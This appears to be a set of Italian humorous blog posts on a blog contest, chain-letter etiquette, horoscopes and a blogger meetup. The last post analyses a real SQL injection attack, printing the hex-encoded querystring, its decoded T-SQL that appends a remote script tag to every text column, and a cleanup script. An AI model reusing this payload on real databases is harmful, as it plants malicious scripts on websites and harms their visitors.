Solo che – mi son detto – è inutile che si pubblichino foto come questa o video come questo, in cui si declama a gran voce l’esistenza di un blogghe e poi, quando il malcapitato digita l’infausto indirizzo, si trova davanti un “chiuso per ferie“. Dai. Figura da peracottaro immonda.

Vi lascio alla visione dell’intervista tripla, con la necessaria premessa che nessun deficiente è stato convinto coercitivamente ad esserlo, per realizzare il filmato. “Sono talmente avanti che certe volte mi guardo indietro e vedo il futuro.” (cit.)

Volevo tacere, ma la folla mi reclama a gran voce: vogliono la mia testa. Mai nessuno che si accontenti della mia croce, insomma. Guardate che è una bella croce, sapete, quasi croce e delizia. Ho capito, non vi interessa il genere.

D’altronde lo sapevo che divulgare a mezzo stampa i redditi di un intero comune del centroitalia avrebbe potuto avere dei risvolti poco piacevoli. Scherzo, ho divulgato solo quelli del mio vicino di casa, il quale ha la gradevole abitudine di copulare, rumorosamente ma in tempi record, tra le 23.25 e le 23.40 di ogni santo giorno. Beato lui, direte voi, peccato che spesso inizi ai 38. Volevo capire se guadagnava a sufficienza per potersi permettere una diversa femmina per notte o se era semplicemente un pirla. È un pirla che può permettersi una femmina a notte. Sempre ammesso che siano femmine.

Sto divagando. La verità è che mi sono messo a scrivere di musica e dintorni, specialmente dintorni, facendo anche finta di capirci qualcosa, dei dintorni. Una prima bozza potrete trovarla qua. Del resto, potevo esimermi da una collaborazione di simile pregio, visti i tempi che corrono? Certo che potevo farlo, ma un dispetto non si nega mai a nessuno, figuriamoci a questo centinaio di lettori.

Voi siete veramente matti. E detto da me…

In vita mia ho fatto una discreta quantità di mestieri e ho ricoperto un numero consistente di ruoli, son stato addetto ad una vasta classificazione di mansioni e – a parte quando sono stato utilizzato come comparsa in un film porno – ho sempre svolto con ottimo profitto l’ambasciata che mi era stata assegnata. Ma ci pensate, comparsa in un film porno, è come per un feticista fare lo “specchio” in un negozio di scarpe (quando lui, ovviamente, avrebbe di gran lunga preferito il ruolo di calzascarpe o – quantomeno – di tappeto…). Ma non divaghiamo, perchè non è certo per i miei precedenti da venditore di pentole, o per la precisione chirurgica con cui so programmare un PLC Telemechanique in linguaggio ottale, o per le capacità dimostrate come lavavetri negli anni degli esordi, non è certo per tutto questo – dicevo – che l’esimio Novecento – ai più conosciuto come Novecento – deve aver deciso di insignirmi della prestigiosa carica di Giurato in quella che personalmente reputo la prima social-competizione del 2009. In quanto lo è, anche. Credo che a mio favore abbiano giocato l’assoluta esperienza nel campo della fotografia impietosa, la naturale propensione al turpiloquio, l’incidentale congiunzione astrale che ha portato un ricco possidente terriero dell’aprutino a passare intere serate parlando di cose riprovevoli con un proletario impiegato near-2-radical-chic perugino per tramite della ormai compianta piattaforma Yahoo!Live (io sono il proletario impiegato near-2-radical-chic perugino), nonchè la facilità con cui sono evidentemente in grado di generare confusione anche in un ambiente in cui regni il torpore e la tranquillità più assoluti. Oltre, ovviamente, alla rinuncia ad un lauto compenso. Negriero.

Scherzi a parte, l’iniziativa della testata detenuta (ed in attesa di giudizio) dal Novecento di cui sopra è lodevole:

1. per l’intento: innescare polemiche a ripetizione mascherando il tutto con la premiazione del miglior post relativo per categoria è un’azione meschina e riprovevole quanto lodevole, i miei complimenti;
2. per il coraggio: selezionare una giuria con artisti del calibro di Novecento, Teiluj, Sara Taricani, Dania, Clockwise, Catepol, Adamo, Azael e Rick e pensare di farla franca per l’accusa di associazione a delinquere è davvero meritevole di stima;
3. per l’originalità: di solito, infatti, funziona che chi inventa il contest filtra per i cazzi suoi le candidature, decide la disposizione delle candidature in funzione delle logistiche interne di convenienza, invita il pubblico a votare e poi – una volta scartati i voti del pubblico che avevano sancito una classifica esattamente inversa – determina autonomamente il vincitore. Di solito. Perchè qui c’è anche una prima fase in cui 9 (nove) cristiani si spartiranno il ricavato delle mazzette ottenute per oliare i meccanismi che conducono una candidatura dal ruolo di “semplice link, anche un po’ supponente e strafottente con tutti quegli /” a “selezionata per la fase finale sulla base di ragionevoli per quanto inoppugnabili valutazioni meritocratiche della giuria di qualità”. Da li in poi, è tutto un magna magna (e qui dovrei mettere un ® ma ora mi sfugge). Ovviamente scherzo, il magna magna inizia da prima, però c’avevate creduto, eh.

Non vi nascondo che ho più volte pensato di esporre il tariffario in questo post, ma poi ho ritenuto più elegante invitarvi a contattarmi via mail per stabilire dettagli e schede telefoniche da utilizzare. Ah, io non restituisco scudetti, scordatevelo.

Se non avete intenzione di fidarvi della regolarità con cui saranno svolte le operazioni (cosa per la quale non mi sento di biasimarvi, insomma), vi consiglio di dare un’occhiata al regolamento, che – da qualche parte – parla pure di ripercussioni violente per i contravventori. C’è poco da scherzare. Qui potrete invece dare un’occhiata all’elenco degli scellerati che – nonostante la lettura del regolamento – avranno deciso di partecipare ugualmente alla singolar tenzone.

Bene, amici, ora che il dado è tratto il compito più importante spetta a voi, ovvero proporci (attraverso l’uso dell’apposito dispositivo messoci a disposizione dall’organizzatore: questo) quelli che ritenete siano gli scritti meritevoli di partecipare alla sfida. Che poi potete anche segnalare quelli che non sono meritevoli e depositare 100€ sulla mia PayPal: abiliterò personalmente il flag “meritevole” per questi.

Credo che dovrò interrompere qui questa bieca operazione di concussione: peccato, perchè secondo me ero ad un passo dal convincervi a investire quei 50€ avanzati dai saldi. Dai.
Va bene, lascio il tutto al vostro buon cuore.
Buon divertimento e che vinca quello che dico io.

sgnaffo significato

DONNA CHE STIRA

è vero che l’uomo ha 15 secondi di assenza durante la giornata?

uomo acquario insopportabile

opinioni sulle donne che non erano definiti uguali all’uomo

E chiudo con la perla del giorno:

sesso tra equini e donne

E buone ricerche a tutti.

Questo post, caro amico/a, è dedicato a te: te che sei affezionato alle Catene di Sant’Antonio, te che conosci a meraviglia l’uso dei client di posta elettronica, te che ignori i principi più basilari della privatezza (e se la vuoi chiamare privacy sei libero di farlo).

Vedi, amico/a, io non metto in dubbio il tuo legittimo diritto alla partecipazione alla Catena: me ne guardo bene, ognuno è libero di partecipare a qualsivoglia iniziativa, coinvolgendo (o cercando di farlo) il maggior numero di persone che ritenga opportuno; va tuttavia sottolineato che esiste una soglia, la cui entità non è stata certamente valutata dal Sistema Internazione, oltre la quale il tuo desiderio di affiliazione si trasforma – inevitabilmente – in stratosferica rottura di coglioni. E questo è giusto che tu, amico/a, lo sappia, perchè quella soglia è determinata dal buon senso.

Peraltro, spero ti sia chiaro che – una volta che la tua missiva mi avrà raggiunto – il ramo della fantomatica gerarchia che doveva generarsi a partire dal sottoscritto, risulterà inequivocabilmente morto. Qualsiasi sia il contenuto della Catena, e per quanto orrorifiche siano le paventate conseguenze di questo mio folle gesto, dalla mia casella di posta elettronica non partirà MAI un forward di quella porcheria.

Però c’è una cosa che tu, amico/a, devi capire prima che mi veda costretto a comunicartela avvalendomi dei servigi di un legale di mia fiducia. E – per renderti le cose più semplici – ti farò un esempio che risulti comprensibile anche ad un infante.

Supponiamo che esistano al mondo tre persone (bello…) che potremo chiamare A, B e C, oppure Uno, Due e Tre, o anche Alfa, Beta e Gamma, ma che – per comodità – chiameremo Tizio, Caio e Sempronia (che una donna, tra due uomini, ci sta sempre bene).

Ora, Tizio e Sempronia si conoscono da un pezzo, sono anche stati a letto insieme in modo soddisfacente per entrambi (dettaglio del tutto inutile, n.d.r.), e perciò detengono in modo legittimo i reciproci indirizzi e-mail. Tizio e Caio, pure, sono amici di lunga data e, sebbene non siano stati a letto insieme (dettaglio del tutto inutile, n.d.r.), detengono – a loro volta – in modo legittimo i reciproci indirizzi e-mail. Fatto sta che invece, Caio e Sempronia sono tutto fuorchè amici, anche perchè lui era l’ex della sorella di lei che stava con l’ex dell’amica di lui, il quale aveva una relazione con la sorella di lui mentre l’ex dell’amico di lui lo tradiva con un cugino della migliore amica di lei (tutto chiaro, no? tanto il dettaglio è del tutto inutile, n.d.r.): morale della favola, Sempronia vorrebbe l’indirizzo di Caio (e forse anche viceversa) ma di fatto lui non gliel’ha mai dato (l’indirizzo); ovviamente vale anche il viceversa.

Supponiamo ora che un bel giorno, il nostro prode Tizio riceva una catena di Sant’Antonio, la quale invita il ricevente ad inoltrarne copia ad altri dieci amici, pena il trapasso seduta stante: in caso, invece, riesca a reperire dieci indirizzi tra i suoi contatti, le sue finanze ne godranno positivamente (dettagli del tutto inutili, n.d.r.). E cosa fa il nostro amato Tizio? Prende la sua bella catena, smanaccia il tasto “Forward” (o “Inoltra“) del suo bel client di posta elettronica, ed incolla paro-paro gli indirizzi di Caio e Sempronia (oltre a quelli di altri otto o più malcapitati…) nel campo “To:” (o “A:“) della sua bella mail.

Alla ricezione, Sempronia è la persona più felice del mondo: della catena non gliene frega una benemerita cippa, ma… può bella bella rimirarsi l’indirizzo e-mail del suo odiatissimo Caio (chiaramente visibile tra i destinatari della mail) e prepararsi ad inondare la sua casella postale dei più vituperati improperi e maledizioni. Cosa che farà immediatamente, cestinando – peraltro – la catena. Bravo Tizio, 8+.

Ora, caro Tizio, c’era un modo più semplice per evitare di rivelare a Sempronia l’indirizzo di Caio (e di tutti gli altri destinatari) della tua stronzata: e non ci vuole chissà quale diavoleria elettronica, amico/a mio, basta mettere la fila degli indirizzi dei malcapitati in quel meraviglioso campo della tua missiva elettronica denominato copia carbone nascosta (o BCC, o CCN). Sai, Tizio, così chi riceve la tua stronzata penserà che l’hai inviata solo a lui/lei (e per questo, ovviamente, ti odierà lo stesso), e non riuscirà mai a sapere gli indirizzi degli altri disgraziati. Ora ti è chiaro?

In definitiva, amico/a, se sei arrivato a leggere fino a qui, ci sono solo due possibilità:

1. mi hai inviato una catena, e ti ho suggerito questo post per dirimere alcune questioni che avrebbero richiesto – altrimenti – troppo tempo per essere esplicate via mail (e perciò mi auguro tu voglia ancora essere mio amico/a, a patto di correggere questo tuo unico neo esistenziale…); oppure
2. non mi hai inviato una catena, e sei finito qui perchè hai la disgrazia di avermi sul tuo feedreader, per caso, o – peggio – perchè avrai cercato catena di sant’Antonio su Google: nessuna soluzione per voi, qui, ragazzi.

Vi lascio con una citazione di Marsellus Wallace che potrà sembrarvi inizialmente fuori luogo, eppure vi assicuro che non lo è, amici/he.

Questa è una merdosissima realtà della vita, ma è una realtà della vita davanti alla quale il tuo culo deve essere realista.

È stato molto bello, bello ed intenso, soprattutto intenso e – diciamocelo – dannatamente piovoso. Piovoso come pochi altri posti al mondo possono esserlo: la Foresta Amazzonica, ad esempio, mi dicono possa vantare precipitazioni di simile durata, intensità e fastidio.

C’è comunque da dire che questi posti sono atipici per noi, mediocri abitanti della parte meno nobile di questa Italia divisa in operoso nord-est e resto del mondo. Anche per l’odore, dovrei dire, ma non solo: l’ordine e la regolarità del paesaggio è quasi indisponente anche per un tipo preciso come me.

I vigneti, ah, i vigneti, solo vigneti a perdita d’occhio, approntati con rigorosità geometrica, quasi maniacale; le strade, prive di imperfezioni come a Roma la Cristoforo Colombo, uguale; anche le case in costruzione, non hanno intorno cantieri con materiale accatastato a casaccio, no, c’è uno che ha ricostruito il Colosseo in scala con le tegole ordinatamente disposte ad incastro.

La kermesse, probabilmente, ha risentito dei numerosi cc di acqua piovana impietosamente precipitata a secchiate sul luogo scelto per la convention: niente partite di calcetto o scorribande festose lungo le vie cittadine, sebbene lo spirito suggerito dal camp di Maxime possa dirsi pienamente rispettato. Piacevole la presenza di bimbi e famiglie, a giustificazione di un ambiente davvero rilassato e sereno, all’insegna del divertimento.

Ricordo di aver visto, rivisto o conosciuto una moltitudine di gente, persone, uomini, donne, arbusti, oleandri, rododendri e confezioni-plastificate-di-vogue (se mi è consentito, troppo pesanti), che cercherò di elencare qui in ordine casuale per non far indispettire nessuno: OskarNRK, InLimine, Stefigno, PocaCola e Nicky, Samuele Silva, HoldMe, LaFraaaa, Fedmor, Luca Mondini e signora, Orientalia4all (i miei rispetti), SonoUnPrecario, Felter, EIo/ZioBonino, SedNonSatiata, Palmasco. Inutile aggiungere che qualcuno si sentirà defraudato del link, e ne avrà ben d’onde (sebbene sappia che non fu intenzionale), ma – senza valicare la soglia del buon gusto – me lo si faccia presente e, a mio insindacabile giudizio, sarà posto (o meno) rimedio all’indesiderato misfatto.

Ricordo anche di non aver esattamente approvato alcune assegnazioni degli awards, tutto sommato considerate discutibili anche da altri spettatori alla premiazione: altro non ricordo, ed il fatto è sicuramente imputabile alla qualità e/o quantità delle sostanze assunte in precedenza per dissetarmi.

Poi però ricordo una cena ed un dopo cena, che dio voglia si siano concretizzati in quest’ordine! Nel ricordo dei quali torna prepotente alla mia mente la presenza del gasolio tra le bevande disponibili al wine-bar, la totale assenza di consumazioni al di sotto dei 23€, lo scontrino non fiscale (e la cazziata di Anna che non posso linkare in quanto sprovvista di link, tuttavia provvista di nome palindromo, ricorda…) e l’aglio dello scoglio consumato da azael e quentin, provocatorio, direi…

Un ultimo sentito saluto a Guido, che non è assolutamente un personaggio, no, è così: superiore, anzi, supeviove.

A te, caro amico navigatore, che arrivi da me almeno quattro volte al giorno cercando oroscopo del giorno su Google, o cos’è l’oroscopo, o persino ariete oroscopo dopodomani (che, giustamente, è meglio portarsi avanti con il lavoro…), beh, mi duole dirti che non troverai mai, in questo luogo, le risposte alle tue angoscianti domande.

Ora, per schiarirti le idee rispetto al mio personalissimo punto di vista in merito, che peraltro ero quasi certo di aver già chiarito qui, mi avvierò ad una rapida spiegazione delle motivazioni per cui è assurdo cercare risposte in un oroscopo. E cercherò, per il tuo bene, navigatore, si, tu che insisti a cercare cosa diavolo succederà alla Bilancia il sei-di-settembre, e pretendi che a dirtelo sia un marchingegno – basato oltretutto su criteri di valutazione assolutamente inconsistenti – piuttosto che la normale (beh, normale, a cazzo anche quella, diciamo) vita quotidiana che, per esperienza, ti assicuro è sempre foriera di novità e colpi di scena che non puoi sapere il secondo prima, figurati con due giorni di anticipo… cercherò, dicevo, di usare parole semplici e dirette, senza passare per Saturno ed i trigoni di Orione (ammesso che astronomicamente siano condizioni sostenibili), senza tirare in ballo il passato ed il futuro, e senza illuderti comunque di avere una risposta, che una risposta non te la da nessuno.

Orbene, si parte da un presupposto piuttosto semplice e dimostrabile: esistono, quotidianamente, almeno seicentosessantasei erogatori di oroscopi e predizioni che lavorano in contemporanea sul territorio nazionale; la stima è mia, ed è basata sulla diabolicità del processo di generazione di un oroscopo. Comunque, se non è il numero giusto, ci si avvicina di parecchio, tra riviste, quotidiani, radio, trasmissioni televisive nazionali e locali, parrucchiere, siti web, frizzi e lazzi, secondo me mi sono anche tenuto basso… Ora, di questi seicentosessantasei burloni, facendo un attimo mente locale al fatto che devono produrre numero dodici previsioni ciascuno per ogni santo giorno, quante probabilità ci sono di trovare due predizioni uguali tra le settemilanovecentonovantadue combinazioni generate nell’arco di una giornata? A mio avviso pochissime, ed uno statistico vi direbbe “quasi nulle”. E’ chiaro che quello che accadrà all’Ariete per il Corriere della Sera non ha nulla a che vedere con quanto sostenuto da Cronaca vera (esiste ancora?). Però, se ci vuoi credere tu, navigatore, sono cazzi tuoi.

Poi c’è questa tendenza a fare il giochetto dell’ascendente, questa meravigliosa invenzione per complicare ancora di più il quadro delle previsioni, che così consente di elevare ad un esponente pari a non-so-quanto il settemilanovecentonovantadue di prima: ora non mi è ben chiaro perchè un povero disgraziato nato alle 15:30 di un merdoso lunedì di ottobre (per fare un esempio, nessuno si senta tirato in causa!), dovrebbe vivere una vita completamente diversa da quello nato alle 15:35, ma di fatto – secondo questa teoria dell’ascendente – il primo potrebbe ascendere in Leone ed il secondo in Pesci. Che poi c’è tutta la questione dell’acqua, della terra, del fuoco, dell’aria… non andrei a complicare di più la situazione… sta di fatto, comunque, che oltre a sapere di che segno sei, navigatore, se non sai il tuo ascendente sei un pirla, e qualsiasi predizione tu legga per la tua giornata, quella si rivelerà sbagliata, perchè non era quella giusta per il tuo ascendente, pirla di nuovo, e lo vedi che sono di nuovo cazzi tuoi?

Poi ci stanno le eccezioni, oh signore mio se ci stanno queste dannate eccezioni, tipo quei poveri disgraziati che son morti dentro un autobus a Santo Domingo… o tutti e quattro avevano lo stesso merdoso oroscopo per quel giorno (pace all’anima loro), o mi spieghi, navigatore, che cosa aveva previsto per loro l’astrologo ufficiale del tour operator? “Giornata all’insegna del divertimento, anche se qualche imprevisto rovinerà i vostri programmi…“? Suvvia, siamo seri, che un oroscopo non ti dirà mai che quel giorno muori, quando dovrai morire, altrimenti un intero pezzo di popolazione Acquario tirerebbe le cuoia in ventiquattro ore… e tu, navigatore, sei libero di crederci, davvero, ma sono solo cazzi tuoi.

Infine c’è la questione uomo/donna. Che molti oroscopi ignorano bellamente, eh lo so che è semplice, ma mica è giusto fare di ogni erba un fascio! Eh no, caro navigatore, tu questo dal tuo oroscopo lo devi pretendere! Che ti dica se la tipa che hai rimorchiato ieri, questa serà te la darà, non può certo dirlo alla tua ragazza (che guardacaso ha il tuo stesso segno): sai che casino che scapperebbe fuori? Ne che i disturbi al bassoventre tipici delle donne in-quei-giorni-la stavolta saranno più leggeri… eh no, un Leone maschio certe cose non le accetta, fidati, navigatore… se poi vuoi accettarle, ah, beh, inutile che te lo dica… sono cazzi tuoi.

Benissimo, con questo post, che ora infarcirò nei tag con tutti i segni zodiacali e parole riconducibili all’astrologia dei miei stivali, in modo da condurre qui quanti più creduloni/e possibili (che io ai miei lettori maschi e femmine ci tengo), inauguro la “campagna contro lo sfruttamento della rete per queste pratiche di obnubilazione delle masse così abiette e tristi“. Chi vuole aderire, aderisca, e gli altri, certo, lo sai anche tu, navigatore, sono cazzi loro.

Lunga vita al Klan.

APPENDICE: Gli ho augurato un po’ merda, a questo clan, come un po’ recentemente sta accadendo a tutto quel che faccio, o tocco: si trasforma in cacca. E come tale, per la sola colpa di aver fatto questo post qua, il legittimo proprietario di quel servizio, m’ha cacciato a pedate dalla sua classifica. Le regole sono regole. Oh.

K K K K K K K K K K K K K K K K K K K K K K K K K K K K K K K K K

Iscriviti al Klan
copia incolla tutto
aggiungi la tua K
e fai girare l’invito

La prima, in ordine temporale, è ad opera di Matteo, ai più conosciuto come paz83, personaggio le cui disavventure quotidiane lo collocano a metà strada tra l’alcolista anonimo e il figlio di Muprhy (non Eddie, ben inteso, ma il più conosciuto Jonathan D. L., salito alla ribalta con il trattato: “Figa: concetto astratto o fantasiosa invenzione generata [da questo] acronimo?”).

Costui ha voluto analizzare, con piglio di ghezziana memoria, un post che risale ai primordi di codesto blog, e che al tempo consigliai solo ai colleghi d’ufficio, abituali frequentatori del locale in oggetto: tanto per metterli in guardia. Ad oggi, per inciso, la situazione è rimasta la medesima. Spero vogliate gradirne la visione.

La seconda, invece, è ad opera del pluriquotato Graziano, ai più conosciuto come Http500, già autore di numerosi concorsi che hanno telematicamente confermato cose che in realtà si sapevano benissimo!

E’ stata sempre sua, infatti, l’idea di confezionare una intervista trasversale a numerosi personaggi della blogosfera, alla quale ho partecipato molto volentieri: tuttavia, data la logorroicità dello scrivente, non è d’uopo rinnovare qui quanto invece troverete amabilmente riportato qui.

Di più, nìn sò.

Ma visto che ho dovuto perdere una sacrosanta mattina inseguendo Javascripts disseminati in un preziosissimo database di un cliente, mi sembra pur giusto alleviare il dolore di chi si troverà (prima o poi) nelle mie stesse condizioni. Se non altro, vi offro una soluzione che io non ho trovato, e che quindi sarà d’aiuto per il prossimo. Quanto sono samaritano.

Nella pratica, una nostra applicazione web (fatta un po’ a membro di segugio, per la verità, ma sufficientemente vetusta da esserle di giustificazione), è stata oggetto delle attenzioni di smidollati extraeuropei (molto extra, dannatamente extra) che hanno tentato di iniettare un po’ di loro sterco nei nostri pulitissimi sistemi. Morale: ci son riusciti.

L’approccio è veramente pietoso in termini di copertura: aggredire un server che hosta applicativi .ASP con dei GET in chiaro, sul QueryString, non so… ma il mio vicino di scrivania che fa il grafico e non sa nulla di nulla di queste cose avrebbe saputo far di meglio. Infatti non dovrebbe essere stato lui.

Ed ecco il querystring incriminato:

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C4152452040542056415
24348415228323535292C404320564152434841522832353529204445434C415245205461626
C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E6
16D652046524F4D207379736F626A6563747320612C737973636F6C756D6E732062205748455
24520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747
970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F522
0622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204
E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4
528404046455443485F5354415455533D302920424547494E204558454328275550444154452
05B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E564552542856
4152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D
687474703A2F2F7777772E6164736974656C6F2E636F6D2F622E6A733E3C2F7363726970743
E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E54
4F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4
3415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Davvero simpatico, il pischello che l’ha ideato. Non aveva niente di meglio da fare che ragionare una genialata del genere. Ok, non ci vuol molto a decifrare quel papocchio di stringa, dalla quale fuoriescono limpide come l’acqua di sorgente le seguenti poche righe in perfetto SQLlese…

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.adsitelo.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Grande figlio di una beata signora: mi scandisci tutte le tabelle e tutti i campi testo del mio prezioso database, quindi lanci un UPDATE a manetta, troncandomi a 4000 caratteri tutti i contenuti e aggiungi in coda le tue cagate… Capisci che il meno che posso augurarti è che alla pressione dell’ultimo tasto Enter ti colga una tendinite permanente?

E comunque, per quei poveri disgraziati caduti nella trappola dei signori adsitelo.com, advabnr.com e bigadnet.com, ecco uno script riparatore che, se non altro, vi eviterà di ripassarvi a mano tutte le tabelle e i campi nel tentativo di ripristinare la situazione preesistente. (Già, perché ovviamente per la legge di Muprhy le disgrazie non capitano mai sole, e l’ultimo backup era corrotto…)

DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.adsitelo.com/b.js></script>'', '''')')
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.advabnr.com/b.js></script>'', '''')')
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(CONVERT(VARCHAR(4000),['+@C+']), ''<script src=http://www.bigadnet.com/b.js></script>'', '''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Un ringraziamento ad Rey per avermi assistito nel riscontro del guaio. E un sentito ringraziamento anche a chi aveva fatto l’applicazione, così robusta e impeccabile. Sgrunt.

P.S.: Una cronistoria della battaglia la trovate anche qua, grazie al collega Azael!